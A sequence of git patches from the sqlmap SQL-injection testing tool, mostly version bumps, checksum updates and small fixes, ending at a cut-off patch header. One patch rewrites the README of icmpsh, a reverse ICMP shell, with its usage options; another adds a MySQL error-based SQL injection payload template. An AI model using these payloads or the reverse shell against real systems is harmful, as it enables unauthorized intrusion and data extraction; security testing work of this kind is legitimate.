59b3b973c7a6888dee41ada3ff97fdf90d20c3ca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Jun 2024 10:07:17 +0200 Subject: [PATCH 074/853] Trivial update --- data/txt/sha256sums.txt | 2 +- extra/icmpsh/README.txt | 90 ++++++++++++++++++++--------------------- lib/core/settings.py | 2 +- 3 files changed, 47 insertions(+), 47 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3d9a4c04ea5..fe7e03630cf 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -29575cb33add984f5358380025db262f4875160869941fd3a882896fc5e94e70 lib/core/settings.py +a8439bb8bfeb07e4edaf3a2114a2bc14b2d712e5003b8d434af68653c88e9d04 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/extra/icmpsh/README.txt b/extra/icmpsh/README.txt index 631f9ee377f..d09e83b8552 100644 --- a/extra/icmpsh/README.txt +++ b/extra/icmpsh/README.txt @@ -1,45 +1,45 @@ -icmpsh - simple reverse ICMP shell - -icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. - - ---- Running the Master --- - -The master is straight forward to use. There are no extra libraries required for the C version. -The Perl master however has the following dependencies: - - * IO::Socket - * NetPacket::IP - * NetPacket::ICMP - - -When running the master, don't forget to disable ICMP replies by the OS. For example: - - sysctl -w net.ipv4.icmp_echo_ignore_all=1 - -If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive -commands send from the master. - - ---- Running the Slave --- - -The slave comes with a few command line options as outlined below: - - --t host host ip address to send ping requests to. This option is mandatory! - --r send a single test icmp request containing the string "Test1234" and then quit. - This is for testing the connection. - --d milliseconds delay between requests in milliseconds - --o milliseconds timeout of responses in milliseconds. If a response has not received in time, - the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. - The counter is set back to 0 if a response was received. - --b num limit of blanks (unanswered icmp requests before quitting - --s bytes maximal data buffer size in bytes - - -In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. +icmpsh - simple reverse ICMP shell + +icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. + + +--- Running the Master --- + +The master is straight forward to use. There are no extra libraries required for the C version. +The Perl master however has the following dependencies: + + * IO::Socket + * NetPacket::IP + * NetPacket::ICMP + + +When running the master, don't forget to disable ICMP replies by the OS. For example: + + sysctl -w net.ipv4.icmp_echo_ignore_all=1 + +If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive +commands send from the master. + + +--- Running the Slave --- + +The slave comes with a few command line options as outlined below: + + +-t host host ip address to send ping requests to. This option is mandatory! + +-r send a single test icmp request containing the string "Test1234" and then quit. + This is for testing the connection. + +-d milliseconds delay between requests in milliseconds + +-o milliseconds timeout of responses in milliseconds. If a response has not received in time, + the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. + The counter is set back to 0 if a response was received. + +-b num limit of blanks (unanswered icmp requests before quitting + +-s bytes maximal data buffer size in bytes + + +In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. diff --git a/lib/core/settings.py b/lib/core/settings.py index 82be3300894..0da3f6d64ca 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.6.0" +VERSION = "1.8.6.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 58c6ca3a6060134888902a7b7c71190ef80a076e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Jun 2024 10:22:05 +0200 Subject: [PATCH 075/853] Debugging CI/CD failing --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 3 ++- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index fe7e03630cf..e2b395049f2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,7 +165,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -a4863238aba3a2d203c26127a4a7a6df873bd0c6f1cd798d4a7abcdc71a07cb6 lib/core/common.py +fb40e269d4ef74653bb42897f3da00462a843e5623b30bc1169cd9b83946208c lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -a8439bb8bfeb07e4edaf3a2114a2bc14b2d712e5003b8d434af68653c88e9d04 lib/core/settings.py +159890088b63074483bb56e189cf262862a80e0a30c66fca677454e423f15b42 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index dd5fc7151f2..cd90565102d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5601,7 +5601,8 @@ def checkSums(): with open(filepath, "rb") as f: content = f.read() if not hashlib.sha256(content).hexdigest() == expected: + print(entry) retVal &= False - break + # break return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 0da3f6d64ca..8e218154877 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.6.1" +VERSION = "1.8.6.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2b3af646496bece226e937e0bb6bef6ccb186dde Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Jun 2024 10:38:24 +0200 Subject: [PATCH 076/853] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/patch.py | 12 ++++++++++++ lib/core/settings.py | 12 +----------- 3 files changed, 16 insertions(+), 14 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e2b395049f2..0b18daf1091 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -126,7 +126,7 @@ a87035e5923f5b56077dfbd18cda5aa5e2542f0707b7b55f7bbeb1960ae3cc9a extra/icmpsh/i 12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py 1589e5edeaf80590d4d0ce1fd12aa176730d5eba3bfd72a9f28d3a1a9353a9db extra/icmpsh/icmpsh-s.c ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py -ce1dd60916a926081ac7e7c57bd3c6856b80c029c4e8687528b18ce47dbec5b4 extra/icmpsh/README.txt +27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/__init__.py 191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt 25be5af53911f8c4816c0c8996b5b4932543efd6be247f5e18ce936679e7d1cd extra/runcmd/runcmd.exe_ @@ -181,13 +181,13 @@ e8f6f1df8814b7b03c3eba22901837555083f66c99ee93b943911de785736bfa lib/core/dicts fce3fd4b161ec1c6e9d5bf1dca5bc4083e07d616ed2c14b798e96b60ec67c2b2 lib/core/log.py 4caebf27d203673b8ad32394937397319f606c4e1f1e1a2a221402d39c644b40 lib/core/optiondict.py 33e0ec9ed38ae1ac74f1e2e3a1a246dee44c167723c9df69635793bfdbd971df lib/core/option.py -0d9c78f2df757a59538a01cbc76d076b5f58be212aaacb42b981d03ef5b8bd3f lib/core/patch.py +a6f059ed73855c527472758b611e6355f92d6c431a84c069eb52dfcd4bfdc882 lib/core/patch.py bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profiling.py 4ccce0d53f467166d4084c9ef53a07f54cc352e75f785454a31c8a820511a84e lib/core/readlineng.py 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -159890088b63074483bb56e189cf262862a80e0a30c66fca677454e423f15b42 lib/core/settings.py +c34e1e3058999c8bc709341c63d669d2f804df06404a6bec1b01520f64418dff lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/patch.py b/lib/core/patch.py index 63b461de0b7..f0c7171d1f8 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -37,9 +37,12 @@ from lib.core.enums import PLACE from lib.core.option import _setHTTPHandlers from lib.core.option import setVerbosity +from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA +from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IS_WIN from lib.request.templates import getPageTemplate from thirdparty import six +from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client _rand = 0 @@ -123,6 +126,15 @@ def getargspec(func): inspect.getargspec = getargspec + # Installing "reversible" unicode (decoding) error handler + def _reversible(ex): + if INVALID_UNICODE_PRIVATE_AREA: + return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) + else: + return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) + + codecs.register_error("reversible", _reversible) + def resolveCrossReferences(): """ Place for cross-reference resolution diff --git a/lib/core/settings.py b/lib/core/settings.py index 8e218154877..a22ed1306cc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,10 +17,9 @@ from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS from thirdparty import six -from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.6.2" +VERSION = "1.8.6.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -956,12 +955,3 @@ globals()[_] = [__.strip() for __ in _.split(',')] else: globals()[_] = value - -# Installing "reversible" unicode (decoding) error handler -def _reversible(ex): - if INVALID_UNICODE_PRIVATE_AREA: - return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) - else: - return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) - -codecs.register_error("reversible", _reversible) From ebfafe93e19ac23b71d8dd5e0f48b319d5490a41 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Jun 2024 10:59:51 +0200 Subject: [PATCH 077/853] Minor cleanup --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 3 +-- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0b18daf1091..9f08aba29da 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,7 +165,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -fb40e269d4ef74653bb42897f3da00462a843e5623b30bc1169cd9b83946208c lib/core/common.py +a4863238aba3a2d203c26127a4a7a6df873bd0c6f1cd798d4a7abcdc71a07cb6 lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -c34e1e3058999c8bc709341c63d669d2f804df06404a6bec1b01520f64418dff lib/core/settings.py +e959124c49ac863a624aae56dd8bf1d35117b1a7f70c8b0d32413cecf4a53696 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index cd90565102d..dd5fc7151f2 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5601,8 +5601,7 @@ def checkSums(): with open(filepath, "rb") as f: content = f.read() if not hashlib.sha256(content).hexdigest() == expected: - print(entry) retVal &= False - # break + break return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index a22ed1306cc..5bd5e448c15 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.3" +VERSION = "1.8.6.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b25626988308218ca46274e1969e513f2a2e8761 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Jun 2024 11:24:08 +0200 Subject: [PATCH 078/853] Fixes #5725 --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 3 +++ lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9f08aba29da..548ea032df4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,7 +165,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -a4863238aba3a2d203c26127a4a7a6df873bd0c6f1cd798d4a7abcdc71a07cb6 lib/core/common.py +fa20f88c2bf45c1347ea21f9fb3b555120fd270f5480c5ca23dbb3f9118b08a6 lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -e959124c49ac863a624aae56dd8bf1d35117b1a7f70c8b0d32413cecf4a53696 lib/core/settings.py +81b3cea1cc1a94554e5bbcb162ed1d277cb737da7fc7d7c163ca479126eed7d1 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index dd5fc7151f2..7d7809df613 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -136,6 +136,7 @@ from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import INFERENCE_UNKNOWN_CHAR +from lib.core.settings import INJECT_HERE_REGEX from lib.core.settings import IP_ADDRESS_REGEX from lib.core.settings import ISSUES_PAGE from lib.core.settings import IS_TTY @@ -5358,6 +5359,8 @@ def _parseBurpLog(content): if not line.strip() and index == len(lines) - 1: break + line = re.sub(INJECT_HERE_REGEX, CUSTOM_INJECTION_MARK_CHAR, line) + newline = "\r\n" if line.endswith('\r') else '\n' line = line.strip('\r') match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None diff --git a/lib/core/settings.py b/lib/core/settings.py index 5bd5e448c15..b197676f3dd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.4" +VERSION = "1.8.6.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0b9a8c57d73227bb6dbc334305eff3ed50c290f3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Jun 2024 10:48:37 +0200 Subject: [PATCH 079/853] Implements #5728 --- data/txt/sha256sums.txt | 6 +++--- data/xml/boundaries.xml | 9 +++++++++ data/xml/payloads/error_based.xml | 20 ++++++++++++++++++++ lib/core/settings.py | 2 +- 4 files changed, 33 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 548ea032df4..cfc65c7ad12 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -75,10 +75,10 @@ c6be099a5dee34f3a7570715428add2e7419f4e73a7ce9913d3fb76eea78d88e data/udf/postg a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 75672f8faa8053af0df566a48700f2178075f67c593d916313fcff3474da6f82 data/xml/banner/x-powered-by.xml -3f9d2b3c929cacd96394d190860adc0997c9c7665020073befc69f65e5deb393 data/xml/boundaries.xml +1ac399c49ce3cb8c0812bb246e60c8a6718226efe89ccd1f027f49a18dbeb634 data/xml/boundaries.xml 130eef6c02dc5749f164660aa4210f75b0de35aaf2afef94b329bb1e033851f7 data/xml/errors.xml cfa1f0557fb71be0631796a4848d17be536e38f94571cf6ef911454fbc6b30d1 data/xml/payloads/boolean_blind.xml -c22d076af9e8518f3b44496aee651932edf590ea4be0b328262314fcb4a52da8 data/xml/payloads/error_based.xml +f2b711ea18f20239ba9902732631684b61106d4a4271669125a4cf41401b3eaf data/xml/payloads/error_based.xml b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -81b3cea1cc1a94554e5bbcb162ed1d277cb737da7fc7d7c163ca479126eed7d1 lib/core/settings.py +aa27be9ed0b4a829391a0b6273ccd51e32329d30f7a3d055a3dee705d1c14a01 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index fb41a83c093..20bf0d10315 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -554,6 +554,15 @@ Formats: + + 5 + 7 + 1 + 3 + [RANDSTR1], + [RANDSTR2] + + 4 diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 9b1d2725ffe..0d717f96170 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -221,6 +221,26 @@
+ + MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) + 2 + 5 + 1 + 7 + 1 + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+
+ MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 2 diff --git a/lib/core/settings.py b/lib/core/settings.py index b197676f3dd..0b339e9bce7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.5" +VERSION = "1.8.6.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From cf9104676617033fd5550affcf056b3bffac4f72 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 17 Jun 2024 18:41:25 +0200 Subject: [PATCH 080/853] Fixes #5731 --- data/txt/sha256sums.txt | 4 ++-- lib/core/patch.py | 16 ++++++++++++++++ lib/core/settings.py | 2 +- 3 files changed, 19 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index cfc65c7ad12..2dc9ae3fb3e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,13 +181,13 @@ e8f6f1df8814b7b03c3eba22901837555083f66c99ee93b943911de785736bfa lib/core/dicts fce3fd4b161ec1c6e9d5bf1dca5bc4083e07d616ed2c14b798e96b60ec67c2b2 lib/core/log.py 4caebf27d203673b8ad32394937397319f606c4e1f1e1a2a221402d39c644b40 lib/core/optiondict.py 33e0ec9ed38ae1ac74f1e2e3a1a246dee44c167723c9df69635793bfdbd971df lib/core/option.py -a6f059ed73855c527472758b611e6355f92d6c431a84c069eb52dfcd4bfdc882 lib/core/patch.py +d2d81ee7520b55571923461a2bdfaa68dda74a89846761338408ab0acf08d3a5 lib/core/patch.py bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profiling.py 4ccce0d53f467166d4084c9ef53a07f54cc352e75f785454a31c8a820511a84e lib/core/readlineng.py 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -aa27be9ed0b4a829391a0b6273ccd51e32329d30f7a3d055a3dee705d1c14a01 lib/core/settings.py +daeccc20761331d7a9e23756e583aae7da29aa8a22442e213d94a042362be087 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/patch.py b/lib/core/patch.py index f0c7171d1f8..2add0e8d2dd 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -8,6 +8,7 @@ import codecs import collections import inspect +import logging import os import random import re @@ -135,6 +136,21 @@ def _reversible(ex): codecs.register_error("reversible", _reversible) + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5731 + if not hasattr(logging, "_acquireLock"): + def _acquireLock(): + if logging._lock: + logging._lock.acquire() + + logging._acquireLock = _acquireLock + + if not hasattr(logging, "_releaseLock"): + def _releaseLock(): + if logging._lock: + logging._lock.release() + + logging._releaseLock = _releaseLock + def resolveCrossReferences(): """ Place for cross-reference resolution diff --git a/lib/core/settings.py b/lib/core/settings.py index 0b339e9bce7..1c0440f1f8c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.6" +VERSION = "1.8.6.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6ae0d0f54e37cc8c2d56a4bfa9ec34bd3e72766a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 17 Jun 2024 19:03:39 +0200 Subject: [PATCH 081/853] Fixes #5732 --- data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- thirdparty/bottle/bottle.py | 424 ++++++++++++++++++++++++++++++++++-- 